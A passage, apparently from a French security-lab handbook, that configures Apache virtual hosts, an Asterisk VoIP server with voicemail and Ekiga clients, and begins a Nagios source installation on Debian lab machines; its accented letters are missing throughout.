mods-enabled contient celle des modules utiliss.
sites-available contient la liste des vhosts installs.
sites-enabled contient celle des vhosts utiliss.
Nous pouvons commencer par ouvrir le fichier ports.conf :

Pour restreindre lutilisation une ou plusieurs interfaces, il nous suffit de les spcifier,
suivies du port. Il faut une directive Listen par interface.
Si le serveur est connect avec une IP Internet et que nous souhaitons couter sur cette
interface, nous ajouterons la directive Listen IP_Internet.
Si le serveur est connect avec une IP locale et que nous souhaitons couter sur cette
interface, nous ajouterons la directive Listen IP_locale.
Si nous souhaitons couter sur un certain port, nous rajouterons Le_Port. Il est aussi
possible de ne spcifier que le port et de ne pas renseigner ladresse IP : Listen
Le_Port.
Nous pourrons donc dfinir les interfaces en ouvrant le fichier ports.conf et en ajoutant :
#interface (local ou internet) connecte sur port standard
Listen X.X.X.X:80

# toutes les interfaces connectes sur port SSL
Listen 443
Le prochain fichier diter pour la configuration est le fichier apache2.conf.
Lexplication de cette configuration se trouve dans le fichier ci-dessous :
# Rpertoire racine du serveur
ServerRoot "/etc/apache2"

# Fichier de verrouillage (lock) du serveur
# IL DOIT SE TROUVER SUR LE DISQUE LOCAL
#<IfModule !mpm_winnt.c>
#<IfModule !mpm_netware.c>
LockFile /var/lock/apache2/accept.lock
#</IfModule>
#</IfModule>

# Fichier du PID: endroit o, son dmarrage, Apache doit stocker
# son numro didentification de processus
PidFile /var/run/apache2.pid

# Dlai dattente dpass : nombre de secondes avant de recevoir
# et denvoyer un message de "Dlai dattente dpass" (timeout)
Timeout 300

# Connexion persistante : alloue ou non les requtes persistantes
# (plus dune requte par connexion).
# Mettre "Off" pour dsactiver.
KeepAlive On

# Nombre maximum de requtes alloues durant une connexion persistante.
# 0 = non limit
# Il est recommand de garder ce nombre assez haut pour des
# performances maximales
MaxKeepAliveRequests 100

# Nombre de secondes dattente pour la prochaine requte
# dun mme client sur une mme connexion avant un timeout
KeepAliveTimeout 15

# Configuration du mpm charg
<IfModule mpm_prefork_module>
# Nombre de processus serveurs fils crer au dmarrage.
StartServers 5
# Nombre minimum de processus en attente dintercepter des requtes
MinSpareServers 5
# Nombre maximum de processus en attente
MaxSpareServers 15
# Nombre maximum de processus fils crs
# pour intercepter les requtes simultanment
MaxClients 150
# Limite le nombre de requtes quun processus fils intercepte
# durant son temps de vie. Si 0 alors le processus nexpirera jamais.
MaxRequestsPerChild 0
</IfModule>

<IfModule mpm_worker_module>
StartServers 2
MaxClients 150
# Nombre minimum de processus en attente dintercepter les pics
# de requtes
MinSpareThreads 25
# Nombre maximum de processus en attente
MaxSpareThreads 75
ThreadsPerChild 25
MaxRequestsPerChild 0
</IfModule>

# Utilisateur et Group sous lesquels les processus du serveur
# seront lancs
User www-data
Group www-data

# Fichier de restriction des accs
# non conseill, prfrer les directives internes au fichier
# de configuration
# voir [[http://httpd.apache.org/docs/2.2/howto/htaccess.html]]
AccessFileName .htaccess

# Les lignes suivantes empchent les fichiers .htaccess et .htpasswd
# dtre vus par les clients Web (i.e. les navigateurs).
<Files ~ "\.ht">
Order allow,deny
Deny from all
Satisfy All
</Files>

# Restriction de la racine du serveur
<Directory />
Order Deny,Allow
Deny from all
Options None
AllowOverride None
</Directory>

# Fichier contenant la liste des conversions des extensions de fichiers
# vers le type de contenu.
# par dfaut ce fichier est reli au contenu enregistr lIANA.
# http://www.iana.org/assignments/media-types/index.html.
TypesConfig /etc/mime.types

# dfinit le type par dfaut des fichiers dont le type ne peut tre
# dtermin par le serveur.
# Il convient de le mettre "none" afin de ne pas fournir
# dinformations errones.
DefaultType none

# Active la rsolution DNS pour les noms dhtes
HostnameLookups Off

# chemin du fichier de log des erreurs du serveur.
ErrorLog /var/log/apache2/error.log

# niveau de log du serveur
# emerg Messages Urgents - Le systme est inutilisable.
# alert Messages dactions qui doivent tre effectues
# immdiatement.
# crit Messages critiques.
# error Messages derreurs.
# warn Messages davertissement.
# notice Messages normaux mais qui ont une utilit
# pour ladministrateur.
# info Messages dinformations.
# debug Messages de dbogage
LogLevel warn

# format des lignes contenues dans les logs
# %a Adresse ip distante.
# %A Adresse ip local.
# %B Taille de la rponse en octets, excluant len-tte HTTP.
# %b Taille de la rponse en octets, excluant len-tte HTTP
# au format CLF.
# %{Foobar}C Contenu du cookie "Foobar" de la requte envoye au
serveur.
# %D Le temps mis servir la requte.
# %{FOOBAR}e Contenu de la variable denvironnement "FOOBAR".
# %f Nom du fichier.
# %h Hte distant.
# %H Le protocole demand.
# %{Foobar}i Le contenu de "Foobar": Ligne(s) den-tte de la requte
# envoye au serveur.
# %l nom du fichier de log distant (de identd, sil est
fourni).
# cela retournera un tiret tant que //mod_ident// nest
# pas prsent et //IdentityCheck// nest pas mis ON.
# %m Mthode de la requte.
# %{Foobar}n Contenu de la note "Foobar" provenant dun autre module.
# %{Foobar}o Le contenu de "Foobar": Ligne(s) den-tte dans la rponse.
# %p Port canonique du serveur qui sert la rponse.
# %P Id du processus fils qui a servi la requte.
# %{format}P Id du processus ou du thread fils qui a servi la requte.
# Les formats valides sont pid, tid, et hextid.
# hextid ncessite APR 1.2.0 ou suprieur.
# %q Chanes de la requte (commenant avec un ? si une chane
# de requte existe, sinon une chane vide).
# %r Premire ligne de la requte.
# %s Statut. Pour les requtes rediriges en interne, ceci est
# la requte originale --- %>s pour la dernire.
# %t Heure laquelle la requte a t reue (format standard
# anglais mois jour anne).
# %{format}t Lheure, au format prcis, qui doit tre dans les formats
# de strftime(3). (potentiellement localis).
# %T Le temps mis pour rpondre la requte.
# %u Utilisateur distant (de lauthentification ; peut tre
faux
# si le code de retour de statut (%s) est 401)
# %U Url demande, ninclut aucune chane de requte.
# %v Nom canonique de ServerName du serveur qui rpond
# la requte.
# %V Nom du serveur en fonction du paramtre UseCanonicalName.
# %X Statut de la connexion une fois la rponse envoye.
# X = connexion annule avant la rponse complte.
# + = la connexion peut tre maintenue aprs lenvoi de
# la rponse.
# - = la connexion sera ferme aprs lenvoi de la rponse.
# %I Octets reus, incluant len-tte et la requte, ne peut
tre
# nul. Vous devez activer //mod_logio// pour lutiliser.
# %O Octets envoys, incluant len-tte, ne peut tre nul.
# Vous devez activer //mod_logio// pour lutiliser.

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# en-tte envoy au client propos du serveur
# Prod Server: Apache
# Major Server: Apache/2
# Minor Server: Apache/2.0
# Min Server: Apache/2.0.41
# OS Server: Apache/2.0.41 (Unix)
# Full (ou non spcifi) Server: Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2
ServerTokens Prod

# Pied de page renvoy par le serveur
# utile pour dterminer quel serveur proxy gnre une erreur, dans le cas
# o plusieurs serveurs sont utiliss
ServerSignature Off

# Inclusion des fichiers, contenus dans le dossier des mods, qui sont
# activs
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf

# Inclusion de lancien fichier de configuration dApache
# des fins de compatibilits ascendantes.
Include /etc/apache2/httpd.conf

# Inclusion du fichier de configuration des adresses et ports
# sur lesquels le serveur sera lcoute
Include /etc/apache2/ports.conf

# Inclusion dautres fichiers de configuration
Include /etc/apache2/conf.d/

# inclusion des configurations des sites actifs
Include /etc/apache2/sites-enabled/

# Directive des alias
<IfModule alias_module>
# alias des icnes dApache
# nom de lalias, rpertoire vers lequel pointe lalias
Alias /icons "/usr/share/apache2/icons/"
<Directory "/usr/share/apache2/icons">
Options None
AllowOverride None
Order allow,deny
Allow from all
</Directory>

# alias pour awstats
Alias /awstats-icon "/usr/share/awstats/icon"
ScriptAlias /awstats "/usr/lib/cgi-bin/"
<Directory "/usr/share/awstats/icon">
Options None
#Indexes MultiViews
AllowOverride None
Order allow,deny
Allow from all
</Directory>
</IfModule>

# Types images dicne
<IfModule mod_autoindex.c>

IndexOptions FancyIndexing VersionSort HTMLTable NameWidth=*

AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip

AddIconByType (TXT,/icons/text.gif) text/*
AddIconByType (IMG,/icons/image2.gif) image/*
AddIconByType (SND,/icons/sound2.gif) audio/*
AddIconByType (VID,/icons/movie.gif) video/*

AddIcon /icons/binary.gif .bin .exe
AddIcon /icons/binhex.gif .hqx
AddIcon /icons/tar.gif .tar
AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
AddIcon /icons/a.gif .ps .ai .eps
AddIcon /icons/layout.gif .html .shtml .htm .pdf
AddIcon /icons/text.gif .txt
AddIcon /icons/c.gif .c
AddIcon /icons/p.gif .pl .py
AddIcon /icons/f.gif .for
AddIcon /icons/dvi.gif .dvi
AddIcon /icons/uuencoded.gif .uu
AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
AddIcon /icons/tex.gif .tex
AddIcon /icons/bomb.gif core

AddIcon /icons/back.gif ..
AddIcon /icons/hand.right.gif README
AddIcon /icons/folder.gif DIRECTORY
AddIcon /icons/blank.gif BLANKICON


DefaultIcon /icons/unknown.gif

ReadmeName README.html
HeaderName HEADER.html

IndexIgnore .??* *~ *# RCS CVS *,v *,t
</IfModule>

# Type langages
<IfModule mod_mime.c>
AddType application/x-compress .Z
AddType application/x-gzip .gz .tgz

AddLanguage ca .ca
AddLanguage cs .cz .cs
AddLanguage da .dk
AddLanguage de .de
AddLanguage el .el
AddLanguage en .en
AddLanguage eo .eo
AddLanguage es .es
AddLanguage et .et
AddLanguage fr .fr
AddLanguage he .he
AddLanguage hr .hr
AddLanguage it .it
AddLanguage ja .ja
AddLanguage ko .ko
AddLanguage ltz .ltz
AddLanguage nl .nl
AddLanguage nn .nn
AddLanguage no .no
AddLanguage pl .po
AddLanguage pt .pt
AddLanguage pt-BR .pt-br
AddLanguage ru .ru
AddLanguage sv .sv
AddLanguage zh-CN .zh-cn
AddLanguage zh-TW .zh-tw
</IfModule>

# Langue prioritaire pour les pages de rponses (choisir lordre
# des langues des pages)
<IfModule mod_negotiation.c>

LanguagePriority fr ca cs da de el eo es et en he hr it ja ko ltz nl
nn no pl pt pt-BR ru sv zh-CN zh-TW

ForceLanguagePriority Prefer Fallback

</IfModule>

# Type dencodage de caractres
<IfModule mod_mime.c>
AddCharset us-ascii .ascii .us-ascii
AddCharset ISO-8859-1 .iso8859-1 .latin1
AddCharset ISO-8859-2 .iso8859-2 .latin2 .cen
AddCharset ISO-8859-3 .iso8859-3 .latin3
AddCharset ISO-8859-4 .iso8859-4 .latin4
AddCharset ISO-8859-5 .iso8859-5 .cyr .iso-ru
AddCharset ISO-8859-6 .iso8859-6 .arb .arabic
AddCharset ISO-8859-7 .iso8859-7 .grk .greek
AddCharset ISO-8859-8 .iso8859-8 .heb .hebrew
AddCharset ISO-8859-9 .iso8859-9 .latin5 .trk
AddCharset ISO-8859-10 .iso8859-10 .latin6
AddCharset ISO-8859-13 .iso8859-13
AddCharset ISO-8859-14 .iso8859-14 .latin8
AddCharset ISO-8859-15 .iso8859-15 .latin9
AddCharset ISO-8859-16 .iso8859-16 .latin10
AddCharset ISO-2022-JP .iso2022-jp .jis
AddCharset ISO-2022-KR .iso2022-kr .kis
AddCharset ISO-2022-CN .iso2022-cn .cis
AddCharset Big5 .Big5 .big5 .b5
AddCharset cn-Big5 .cn-big5
# Pour le russe, plus dun charset est utilis (dpend du client
# le plus souvent)
AddCharset WINDOWS-1251 .cp-1251 .win-1251
AddCharset CP866 .cp866
AddCharset KOI8 .koi8
AddCharset KOI8-E .koi8-e
AddCharset KOI8-r .koi8-r .koi8-ru
AddCharset KOI8-U .koi8-u
AddCharset KOI8-ru .koi8-uk .ua
AddCharset ISO-10646-UCS-2 .ucs2
AddCharset ISO-10646-UCS-4 .ucs4
AddCharset UTF-7 .utf7
AddCharset UTF-8 .utf8
AddCharset UTF-16 .utf16
AddCharset UTF-16BE .utf16be
AddCharset UTF-16LE .utf16le
AddCharset UTF-32 .utf32
AddCharset UTF-32BE .utf32be
AddCharset UTF-32LE .utf32le
AddCharset euc-cn .euc-cn
AddCharset euc-gb .euc-gb
AddCharset euc-jp .euc-jp
AddCharset euc-kr .euc-kr
#Not sure how euc-tw got in - IANA doesnt list it???
AddCharset EUC-TW .euc-tw
AddCharset gb2312 .gb2312 .gb
AddCharset iso-10646-ucs-2 .ucs-2 .iso-10646-ucs-2
AddCharset iso-10646-ucs-4 .ucs-4 .iso-10646-ucs-4
AddCharset shift_jis .shift_jis .sjis

AddHandler type-map var

AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
</IfModule>

<IfModule mod_setenvif.c>
BrowserMatch "Mozilla/2" nokeepalive
BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0
force-response-1.0
BrowserMatch "RealPlayer 4\.0" force-response-1.0
BrowserMatch "Java/1\.0" force-response-1.0
BrowserMatch "JDK/1\.0" force-response-1.0

BrowserMatch "Microsoft Data Access Internet Publishing
Provider" redirect-carefully
BrowserMatch "MS FrontPage" redirect-carefully
BrowserMatch "WebDrive" redirect-carefully
BrowserMatch "WebDAVFS/1.[012]" redirect-carefully
BrowserMatch "gnome-vfs/1.0" redirect-carefully
BrowserMatch "XML Spy" redirect-carefully
BrowserMatch "Dreamweaver-WebDAV-SCM1" redirect-carefully
</IfModule>

# module dinformation sur le statut du serveur
<IfModule mod_status.c>
<Location /server-status>
SetHandler server-status
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Location>
</IfModule>

# module des informations du serveur
<IfModule mod_info.c>
<Location /server-info>
SetHandler server-info
Order deny,allow
Deny from all
Allow from 127.0.0.1
</Location>
</IfModule>
Le fichier sites-available contient les diffrents vhosts que nous utiliserons.
Les vhosts nous permettent de dfinir plusieurs sites sur une mme machine, le plus souvent
des sous-domaines (www.domain.tld, machin.domain.tld), mais aussi dautres domaines
(domain.tld, autredomain.tld).
Nous pouvons donc ouvrir le fichier /etc/apache2/sites-available/default et le configurer
comme suit :
# NameVirtualHost dfinit les IPs utiliser par apache,
# * signifie quon utilise nimporte quelle IP pour accder au serveur
# 127.0.0.1 (boucle locale), 192.168.x.x (ip reseau local), ou une IP
# externe.
# Cette directive est en dehors du vhost, on pourrait donc la dplacer
# dans apache2.conf.
# Dans tous les cas, si elle est dfinie *, elle ne doit pas tre
# reprise dans les autres vhosts.
NameVirtualHost *:80

# Le vhost proprement dit : il est compris dans un bloc <VirtualHost>.
# Ces blocs dfinissent la "porte" de la validit des directives qui
# y sont dfinies.
# Le * derrire VirtualHost dfinit ici que le vhost est valable pour
# toutes les IP sur lesquelles Apache coute.
<VirtualHost domain.tld:80>
# ServerName dfinit le nom utilis pour le vhost. Mettez le nom
# de lhte du domaine
ServerName www.domain.tld
# ServerAlias dfinit les autres sous-domaines pour lesquels le
# serveur rpondra.
ServerAlias domain.tld *.domain.tld
# ServerAdmin vous permet de spcifier un e-mail utiliser en cas de
# problme, sur une page derreur 404 par exemple.
ServerAdmin administrateur.web@domain.tld
# DocumentRoot dfinit le dossier racine dans lequel seront stocks
# les fichiers du site.
DocumentRoot /var/www/htdocs
# Directory dfinit les options par dfaut du rpertoire
<Directory /var/www/htdocs>
# Active les options:
# FollowSymLinks permet de suivre les liens symboliques.
# Indexes autorise le listage de fichiers
# dun rpertoire qui ne contient pas dindex.
Options Indexes FollowSymLinks MultiViews
# AllowOverride permet de surcharger certaines options
# en utilisant des fichiers .htaccess dans le
# rpertoire du site.
AllowOverride None
# Droits par dfaut
Order allow,deny
allow from all
# permet de rediriger les requtes vers un fichier
# dindex prcis
RedirectMatch /$ /index.php
</Directory>

ErrorLog /var/log/apache2/error.domain.tld.log
CustomLog /var/log/apache2/access.domain.tld.log combined
</VirtualHost>
Nous pouvons maintenant enregistrer ce fichier sous un autre nom (nouveau_host) et
supprimer default :
fasm#a2dissite default
et activer le nouveau fichier :
fasm#a2ensite nouveau_host
Nous pouvons diter le fichier /etc/hosts et ajouter le host que nous venons de crer en
insrant cette ligne :
127.0.0.1 localhost nouveau_host
Pour finir, nous allons maintenant activer les scripts CGI. Pour cela, nous retournons dans le
fichier de conf apache2.conf et ajoutons :
ScriptAlias /cgi-bin/ /var/www/votre_site/cgi-bin/
<Directory /var/www/votre_site/cgi-bin/>
Options ExecCGI
AddHandler cgi-script cgi pl py
</Directory>
Notre configuration de base est termine ; nous pouvons lancer le serveur :
fasm# /etc/init.d/apache2 start
Si la configuration est bonne, nous devrions avoir, en tentant de nous connecter avec un
navigateur web sur ladresse IP de notre serveur, lcran suivant :

Nous voici avec une machine virtuelle de plus configure pour accueillir des sites web.
Serveur Asterisk
La VoIP (Voice over IP) est maintenant partout dans les entreprises et est donc une source de
failles potentielles. Il est ncessaire de pouvoir tester ces nouvelles technologies pour essayer
de comprendre leur fonctionnement et de voir ce quun pirate pourrait essayer de tenter pour
couter une conversation, pntrer le systme ou altrer les donnes.
Nous allons donc installer Asterisk qui est le logiciel libre de VoIP le plus connu et le plus
utilis.
1. Installation
Nous installons le paquet asterisk :
fasm#aptitude install asterisk


Une multitude de paquets seront installs, tous utiles pour asterisk.
2. Configuration
Deux fichiers seulement seront ncessaires pour un fonctionnement basique dAsterisk : les
fichiers sip.conf et extensions.conf qui se trouvent dans /etc/asterisk/.
Nous nous contenterons de la configuration basique. Asterisk est trs document et nous
pourrons aisment laffiner si nous le souhaitons.
Les possibilits sont nombreuses, nous pourrons configurer un rpondeur et un menu vocal
entre autres.
a. Sip.conf
Tous les comptes utilisateurs que nous voulons crer seront dfinis dans ce fichier. Nous nen
dclarerons que deux pour cet exemple.
Supposons que le premier utilisateur est fasm et ajoutons la configuration ci-dessous dans le
fichier sip.conf :
[fasm]
type=friend
host=dynamic
user=fasm
secret=acissi
context=default
[fasm] est le dbut du bloc SIP. Les informations prsentes aprs cette ligne concerneront le
compte de lutilisateur fasm.
type=friend permet dappeler et dtre appel.
host=dynamic ladresse IP du client est dfinie par DHCP. Si son IP tait fixe, nous laurions
prcise ici.
user=fasm est le nom de lutilisateur.
secret=acissi est le mot de passe en clair.
context=default est le contexte auquel le compte est associ dans le dialplan (servira pour le
fichier extensions.conf), le dialplan tant une suite dinstructions numrotes, que nous
verrons un peu plus loin dans le chapitre, qui seront excutes dans un ordre prcis.
Notez quen utilisant secret, le mot de passe est stock en clair. Il est prfrable dutiliser
md5secret, qui, comme son nom lindique, utilisera une empreinte md5. Voici la structure
ncessaire pour la gnration du hash :
<user>:<realm>:<secret>
Par dfaut, le realm est asterisk. Pour gnrer lempreinte MD5 de lutilisateur fasm qui a
pour mot de passe acissi avec bash, nous ferons donc :
$ echo -n "fasm:asterisk:acissi" | md5sum
43247d05bb29adf5e9c8aef26992fcfe -
Nous pouvons bien sr affiner la configuration dAsterisk pour ce fichier mais le but est ici
davoir une base fonctionnelle rapidement. Nous nous arrterons donc l pour la configuration
de lutilisateur fasm.
Nous pouvons faire de mme pour un autre utilisateur.
[codej]
type=friend
host=dynamic
user=codej
secret=acissi
context=default
Nous pouvons passer la configuration du deuxime fichier.
b. Extensions.conf
Ce fichier va nous permettre de dfinir le plan de la numrotation qui est appel dialplan,
cest--dire que lon va dfinir les actions qui seront effectues quand on composera un
numro.
Cela sera de la forme :
[default]
exten => 555,1,Dial(SIP/fasm)
Le context ([default]) est une zone o la porte des actions est limite.
Cela permet par exemple dattribuer deux numros identiques des utilisateurs diffrents,
lun ou lautre sera contact suivant le contexte dfini dans le compte SIP de lutilisateur
cherchant les joindre.
Le fichier de configuration est assez difficile lire au premier abord car il est trs document.
Il nous faudra prter attention lendroit o nous ajouterons la ligne ci-dessous. Il faudra bien
se trouver dans la partie [default].
La ligne contenant exten nous montre comment enregistrer une extension.
Nous commenons par le mot-cl exten suivi dune flche =>.
555 est le numro que nous souhaitons associer, cest le numro que nous composerons sur le
tlphone.
1 est le numro de squence. Nous pouvons en effet ordonner plusieurs actions pour une
mme extension, nous verrons cela un peu plus loin.
Dial(SIP/fasm) est laction effectuer. Nous appelons ici la fonction Dial(), qui dclenche
lappel, avec pour argument SIP/fasm pour appeler le compte SIP fasm. Ici donc, pour tous
les utilisateurs du contexte default, composer le 555 appellera fasm.
Si nous souhaitons, avant dappeler la personne, attendre quelques secondes, par exemple 3
secondes, nous allons chaner les instructions :
[default]
exten => 100,1,Dial,wait(3)
exten => 100,2,Dial,SIP/fasm
Nous avons dans lexemple ci-dessus une suite dactions (1 et 2) mais nous pouvons chaner
comme cela plusieurs actions, par exemple :
exten => 555,1,Answer
exten => 555,2,Playback(tt-weasels)
exten => 555,3,Voicemail(44)
exten => 555,4,Hangup
Quand 555 est appel, Asterisk rpond de lui-mme (Answer) et joue une musique (tt-
weasels) et nous donne la possibilit de laisser un message (Voicemail) sur la bote volale 44
et raccroche.
Les possibilits sont multiples crer un serveur vocal, rediriger les appels... Nous pouvons
approfondir la configuration si besoin car Asterisk est bien document, que ce soit sur Internet
ou en ouvrages aux ditions ENI.
Revenons prsent notre cas avec deux utilisateurs :
[default]
exten => 555,1,Dial(SIP/fasm)
exten => 556,1,Dial(SIP/codej)
Nous avons fait des changements dans les configurations des fichiers. Il nous faut prsent
que le systme prenne en compte ces modifications.
Pour toute modification de sip.conf et de extensions.conf, il est ncessaire quAsterisk
recharge ces fichiers. Pour cela, nous nous connectons sur la console dAsterisk :
# asterisk -rvvvvdddd (les v pour verbose, les d pour debug)
Puis nous rechargeons Asterisk :
reload
La commande suivante permet de recharger uniquement le dialplan (extensions.conf) :
dialplan reload
ce moment-l, le serveur est oprationnel. fasm et codej possdent un compte SIP et un
numro associ.
3. Ajout de fonctions
Le transfert dappel et la mise en attente sont souvent directement implments dans les
softphone (logiciels de tlphonie VoIP) et les terminaux SIP. Les manipulations suivantes
permettent de les activer directement dans Asterisk, ce qui permet de saffranchir dun
logiciel ou matriel particulier.
a. Transfert dappel
Nous devons activer les tonalits DTMF (Dual-Tone Multi-Frequency) la fois ct client et
ct serveur.
Le DTMF est une combinaison de frquences utilise pour la tlphonie moderne. Il est utilis
quand nous composons les numros de tlphone et il a permis la cration des premiers
serveurs vocaux interactifs.
Pour Asterisk, il suffit dajouter la ligne suivante dans sip.conf, dans le contexte [general] ou
pour chaque utilisateur :
dtmfmode = rfc2833
Nous devrons regarder du ct des paramtres SIP du ct client pour activer cette option.
Pour activer le transfert dappel, il suffit tout simplement de modifier les paramtres de la
fonction Dial dans extensions.conf :
exten => 555,2,Dial(SIP/fasm,,tT)
Aprs SIP/fasm, nous avons ajout les options t et T qui autorisent lappel et lappelant
transfrer lappel.
Pour effectuer le transfert, il faut appuyer durant une communication sur le signe # (on entend
ce moment-l transfert ) suivi du numro sur lequel on souhaite transfrer lappel.
b. Mise en attente
La mise en attente permet de mettre une communication en pause, ce qui peut parfois tre trs
utile pour ne pas perdre un client. Cela est trs utile, car de ce fait, la ligne est libre. Nous
pouvons alors composer un autre numro ou rcuprer lappel sur un autre poste.
Il est l aussi ncessaire dactiver les tonalits DTMF.
Pour activer la mise en attente, il suffit dajouter la ligne suivante dans le contexte [default] du
fichier extensions.conf :
include=>parkedcalls
Pour mettre son interlocuteur en attente lors dun appel, il faut composer le #700. Le serveur
attribue un numro au sein du parc dattente. On peut alors raccrocher, changer de poste et
reprendre lappel en composant le numro annonc par le serveur.
c. Messagerie vocale
Si nous voulons que la voix de la messagerie soit en franais, il faut le spcifier lors de la
compilation dAsterisk laide de la commande :
fasm$ make menuselect
Il faut ensuite ajouter dans le contexte [general] de sip.conf la ligne suivante :
language=fr
Nous pouvons crer ensuite une bote vocale dans le fichier /etc/asterisk/voicemail.conf, dans
le contexte [default] :
100 => 1010,fasm, fasm@acissi.net
100 est le numro de tlphone auquel on associe la bote vocale.
1010 est le mot de passe de la messagerie.
Nous avons ensuite le nom de lutilisateur ainsi que son adresse e-mail. Le-mail servira
lalerter en cas de rception de message vocal, condition quun MTA (Mail Transfert Agent)
soit correctement configur comme postfix ou autre.
La bote vocale est maintenant dclare, il reste linclure dans extensions.conf pour quelle
soit utilise :
exten => 100,1,Dial(SIP/fasm, 10)
exten => 100,2,Voicemail(b101)
exten => 100,3,Hangup
La premire action effectue lorsque nous composons le 100 est lappel de fasm. Le 10 situ
aprs la virgule est la temporisation avant de passer la deuxime squence. Cest pour cela
que nous avions mis deux virgules de suite dans la section transfert dappel.
Une fois le timeout atteint, nous basculons sur la deuxime squence, qui est lappel de la
bote vocale avec la fonction Voicemail.
Enfin, nous raccrochons avec la fonction Hangup.
Ds que le principe est bien compris, nous nous rendons compte quil existe une logique et il
suffit de sen imprgner pour commencer apprcier Asterisk.
d. Configuration du MTA pour la messagerie vocale
Il est trs intressant de passer par une alerte e-mail lors de la rception dun message :
lutilisateur est alors au courant du fait quil a un message, et peut lcouter directement en
pice jointe.
Nous retrouvons cela dans nos box (Livebox, Freebox...) o il nous est possible de recevoir un
e-mail quand un message est laiss sur le rpondeur.
Nous avons dj renseign ladresse e-mail de lutilisateur dans voicemail.conf, il ne nous
reste plus qu configurer un MTA.
Exim4 est le MTA par dfaut de Debian, nous lutiliserons donc.
Nous allons commencer par reconfigurer exim4 :
dpkg-reconfigure exim4-config
Type de configuration : Distribution directe par SMTP (site Internet)
Nom de courriel du systme :le FQDN
Liste dadresses IP o Exim sera en attente de connexions SMTP
entrantes : 127.0.0.1
Autres destinations dont le courriel doit tre accept : vide
Domaines relayer : vide
Machines relayer : vide
Faut-il minimiser les requtes DNS (connexions la demande) ? Non
Mthode de distribution du courrier local : Format "mbox" dans
/var/mail
Faut-il sparer la configuration dans plusieurs fichiers ? Non
Le serveur e-mail va se relancer. Asterisk sera ds lors capable denvoyer des e-mails dalerte
avec le message vocal en pice jointe.
Nous avons fait un tour, rapide malgr les apparences, des possibilits relles dAsterisk.
Nous pouvons crer, gratuitement et chez nous, un serveur VoIP avec toutes les options
imaginables. Il nous est mme possible davoir deux serveurs des endroits diffrents et de
pouvoir nous appeler entre nous en passant par ces serveurs.
4. Configuration dun client SIP
Nous devons dabord installer Ekiga sur le client :
fasm#aptitude install ekiga
Ekiga est un logiciel de tlphonie SIP et de visioconfrence.
Au premier lancement dEkiga, un assistant de configuration en 8 tapes va nous tre propos.
Nous suivrons ce guide.

Pour linstant, rien de particulier, il suffit de cliquer sur Forward.

Nous indiquons ici le nom que nous voulons donner ce compte.

Nous cochons la case afin de ne pas crer de compte sur ekiga.net, ce nest pas notre but ici.


Nous placerons ici bien sr nos identifiants (compte et mot de passe) qui ont t configurs
dans sip.conf dans les sections prcdentes.

Nous avons choisi ici LAN mais tout dpend de lutilisation que nous voulons en faire (rseau
LAN, DSL ). Pour notre laboratoire, nous serons donc en LAN.

Cette configuration par dfaut convient trs bien pour la carte son du PC client, nous devrons
ventuellement ladapter suivant le matriel du PC client.



La configuration est maintenant termine et il ne reste plus qu se connecter sur le serveur
(ici, 192.168.1.3).

Nous pouvons crer un compte manuellement en allant dans Edition - Comptes puis
Comptes - Ajouter un compte SIP, et ensuite remplir comme suit :

Le registraire sera ladresse IP de notre serveur Asterisk.
Nous avons maintenant toutes les cartes en main pour effectuer des appels et, laide doutils
spcialiss dans la Kali Linux (anciennement BackTrack), tenter des man in the middle ,
du sniffing et autres...
Nagios
Nous venons dinstaller diffrents services, chacun dans des machines virtuelles diffrentes.
Mais comment, part linterface de Proxmox, surveiller le fonctionnement de ces dernires et
voir les ventuels changements dans ltat des services ? Il nous faut superviser tout cela,
Nagios est fait pour nous.
Nagios est loutil idal de surveillance : nous pourrons tout moment visualiser par exemple
larrt dun service ou son dmarrage, ou toute autre modification sur un client distant
(ordinateur, switch, routeur...).
Nous voil donc avec une nouvelle machine virtuelle avec une distribution Debian Squeeze
installe. La mise jour a t effectue.
Pour tre sr que nous pointons vers les bons dpts, nous vrifierons que la liste des dpts
dans /etc/sources.list est bien identique celle-ci :
deb http://ftp.fr.debian.org/debian/ squeeze main
deb-src http://ftp.fr.debian.org/debian/ squeeze main

deb http://security.debian.org/ squeeze/updates main
deb-src http://security.debian.org/ squeeze/updates main

# squeeze-updates, previously known as volatile
deb http://ftp.fr.debian.org/debian/ squeeze-updates main
deb-src http://ftp.fr.debian.org/debian/ squeeze-updates main
Nous pourrons installer Nagios de plusieurs faons diffrentes : soit en compilant les fichiers
sources que nous pouvons trouver sur le site de Nagios, soit en utilisant les dpts officiels
(cela dpend donc de la distribution).
Nous allons donc voir par la suite ces deux mthodes.
1. Nagios avec les fichiers sources
a. Installation
Nagios dpend de nombreux paquets dans son fonctionnement. Nous commencerons donc
grce la commande aptitude ou apt-get par les installer.
fasm#aptitude install php5-gd postfix fping snmp ntp smbclient
nmap saidar traceroute php5-snmp curl gettext
Nous aurons aussi besoin de lenvironnement de compilation :
fasm#aptitude install build-essential
Nous voil prts pour linstallation de Nagios.
Nagios a besoin dun utilisateur pour fonctionner, mais aussi dun rpertoire local o seront
installs les fichiers de configuration et les binaires.
Nous crerons dabord grce la commande mkdir le rpertoire nagios dans /usr/local.
#fasm#mkdir /usr/local/nagios
Nous pouvons ds prsent crer un groupe nagios, un groupe nagcmd (commande
groupadd) et crer lutilisateur nagios (commande useradd).
fasm#groupadd -g 9000 nagios
fasm#groupadd -g 9001 nagcmd
fasm#useradd -u 9000 -g nagios -G nagcmd -d /usr/local/nagios -c
"Nagios Admin" nagios
Les commandes ci-dessus sont bien sr disponibles sur le site de Nagios
(http://www.nagios.org/) dans longlet Documentation.
Des librairies de dveloppement sont aussi indispensables afin de pouvoir compiler Nagios :
fasm#aptitude install libperl-dev libgd2-xpm-dev libltdl3-dev
linux-headers-`uname -r`
Pour finir avec les librairies, installons-en une spcifique pour Nagios 3. Nous linstallons ici
part mais nous aurions pu, bien entendu, linstaller en mme temps que les autres librairies.
